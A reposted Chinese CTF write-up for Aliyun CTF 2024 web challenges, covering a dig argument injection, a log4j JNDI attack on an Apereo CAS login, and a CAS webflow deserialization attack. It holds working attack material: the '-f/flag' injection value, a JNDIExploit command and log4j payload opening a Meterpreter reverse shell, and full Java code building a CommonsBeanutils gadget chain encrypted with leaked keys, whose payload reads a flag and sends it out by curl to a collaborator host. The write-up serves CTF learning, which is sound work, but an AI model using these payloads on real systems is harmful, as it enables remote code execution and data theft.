当前位置: 首页 > news >正文

2024阿里云CTF Web writeup

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

前言

又是周末比赛,希望以后的CTF组织者都搞到周中 这样在公司上班就能打比赛,不过这次也是随缘参与。这次web题目难度还行,其他的题目没怎么做。所以还是只写web的题目了,记录下。

题目

web签到

图片

一看就是查询dns的,抓包:

图片

很有可能是dig命令,最终将结果base64返回并输出,探测了很长时间domain发现过滤的非常严格。后续在type处注入,有大量的字符转义。翻阅dig参数 有一个-f读取文件,直接读根目录flag

{"domain":"baidu.com","type":"-f/flag"}

easyCAS

解法1

username处存在log4j,使用burp自带的dnslog探测确实存在。使用JNDIExploit 直接利用tomcatbypass模块反弹shell到metepreter:

先开启ldap

java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip xxx.xxx.xxx.xxx--ldapPort 8881

再发送请求

username=${jndi:ldap://1.1.1.1:8881/TomcatBypass/Meterpreter/1.1.1.1/8884}

图片

标准解法

我猜测这个可能是官方想要的考点,否则log4j打太无脑了。

查阅资料发现默认的用户名是 casuser,密码是 Mellon

http://web3.aliyunctf.com:23723//login?service=http%3A%2F%2Fweb3.aliyunctf.com%3A23723%2Fstatus%2Fheapdump

通过上述链接下载heapdump。直接去访问直接跳转127.0.0.1了。

我们先分析题目,说的是5.x以后就没有问题了吗?我们都知道4.x有反序列化的问题,类似shiro有默认key,直接打反序列化的gadgets。现在5.x的key不是默认了,但是我们有heapdump,IDEA打开查询对应可以:

org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor

先写一个危险类执行命令,test.class:

  • package aliyunCTF_Easy_Cas; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.util.Base64;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader; public class test extends AbstractTranslet { public test() throws IOException { super(); String result = execCommand("cat /flag.txt").trim(); String command = "curl "+Base64.getEncoder().encodeToString(result.getBytes()).replaceAll("=+$", "") +".244uevo5icza8bg0mu6m4krtekki87.burpcollaborator.net"; execCommand(command); //Runtime.getRuntime().exec("bash -c 'curl `whoami`.jwjb6cgmatrr0s8heby3w1ja61cw0l.burpcollaborator.net'"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } private static String execCommand(String command) throws IOException { StringBuffer output = new StringBuffer(); Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line + "\n"); } return output.toString(); }}

然后我们结合CB1NOCC反序列化链,构造一个反序列化并利用上面拿到的key加密(直接看网上的分析文章把加密部分扒了过来组合)。

package aliyunCTF_Easy_Cas;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.serialize.Serializer;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;import java.util.zip.GZIPOutputStream;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.commons.beanutils.BeanComparator;
import javax.crypto.spec.SecretKeySpec;
public class attackAeperoCas {
    public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(filedname);        field.setAccessible(true);        field.set(obj, value);    }
    public static void main(String[] args) throws Exception {
        // 构造CB1nocc链接        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(test.class.getName());        byte[] code = clazz.toBytecode();        TemplatesImpl ti =new TemplatesImpl();        setFieldValue(ti,"_bytecodes",new byte[][]{code});        setFieldValue(ti, "_name", "eval");        final BeanComparator bc = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> pq = new PriorityQueue<Object>(2,bc);        pq.add("1");        pq.add("1");        setFieldValue(bc,"property","outputProperties");        setFieldValue(pq,"queue",new Object[]{ti,ti});        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(pq);        oos.close();
        //加密payload        byte[] skey = "CdsZkifxK9MfH9v0CJ-DJoEvJ3wPMNqUZ8AKoYFLSCwiQ4PGtuh90rN7-QzyaLdALxO3ZtNfgX_de7Pm7kd0Zg".getBytes();        byte[] ekey = new byte[]{56,62,-30,-91,93,25,105,-71,-92,-30,110,45,-27,44,89,-36};        SecretKeySpec enkey = new SecretKeySpec(ekey, "AES");        WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);
        //这里用setfield 因为setfield我们编写类可以设置父类的属性        setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);
        System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(barr.toByteArray()))));    }    public static byte[] compressString(byte[] data) {        // 使用ByteArrayOutputStream来捕获压缩数据        try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);             GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) {            // 写入数据到GZIPOutputStream,它会处理压缩            gzipOS.write(data);            // 完成压缩数据的写入            gzipOS.close();            // 返回压缩后的字节数组            return bos.toByteArray();        } catch (IOException e) {            e.printStackTrace();            return null;        }    }    //得遍历父类设置对应属性。因为encryptionKey属于webflowConversationStateCipherExecutor父类的属性。    static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException {        try {            // 获取目标对象的类对象            Class<?> currentClass = targetObject.getClass();
            // 循环遍历当前类及其父类,直到找到该字段或到达Object类            Field field = null;            while (currentClass != null) {                try {                    field = currentClass.getDeclaredField(fieldName);                    break; // 字段找到,退出循环                } catch (NoSuchFieldException e) {                    // 当前类中没有该字段,继续在父类中查找                    currentClass = currentClass.getSuperclass();                }            }            if (field == null) {                throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy");            }            // 设置访问权限,允许访问私有字段            field.setAccessible(true);            // 设置新的字段值            field.set(targetObject, newValue);
        } catch (IllegalAccessException e) {            e.printStackTrace();        }    }
}

加密的payload直接替换execution参数。注意前面的uid不要去掉,从uid_后开始替换。我这里是直接DNS携带flag,执行的就是test.class中编写的代码。

图片

这样可能才是这次考点,但是没想到这个环境有log4j直接就RCE了。

重点:CB1NOCC + 加密流程


http://www.mrgr.cn/news/64105.html

相关文章:

  • git创建分支、删除分支、推送分支到远程等操作
  • 目录遍历漏洞
  • Rust 力扣 - 2090. 半径为 k 的子数组平均值
  • 智能码二维码zhinengma.cn如何赋能工业产品质量安全追溯
  • 【neo4j】 neo4j cypher单一语句 optional 可选操作的技巧
  • git入门教程6:git基本版本控制
  • 房贷利率定价调整机制变更的一点理解
  • Linux 进程终止 进程等待
  • 面试必会50题
  • MATLAB口罩检测
  • 大学城水电管理:Spring Boot应用案例
  • Ollama:本地部署与运行大型语言模型的高效工具
  • static全局/局部变量/函数和普通全局/局部变量/函数的区别
  • 赋值语句@赋值表达式@便于阅读和便于理解的比较
  • 【Linux中的第一个小程序】进度条及printf打印彩色字符
  • 《Python修炼秘籍》01踏上编程之旅
  • 满秩分解与奇异值分解
  • 机器人大模型GR2——在大规模视频数据集上预训练且机器人数据上微调,随后预测动作轨迹和视频(含GR1详解)
  • 树的遍历(先,中,后)
  • 【无人机设计与控制】改进无人机三维路径规划(蜣螂优化算法)Matlab程序
  • 除甲醛开窗通风的正确方法 消除甲醛的最好方法
  • 如何引用一个已经定义过的全局变量?
  • 【含文档】基于ssm+jsp的智慧篮球馆预约(含源码+数据库+lw)
  • 【含文档】基于Springboot+Vue的工商局商家管理系统 (含源码数据库+LW)
  • 基于javaweb(springboot+mybatis)网站建设服务管理系统设计和实现以及文档报告设计
  • ssm毕业设计选题系统+jsp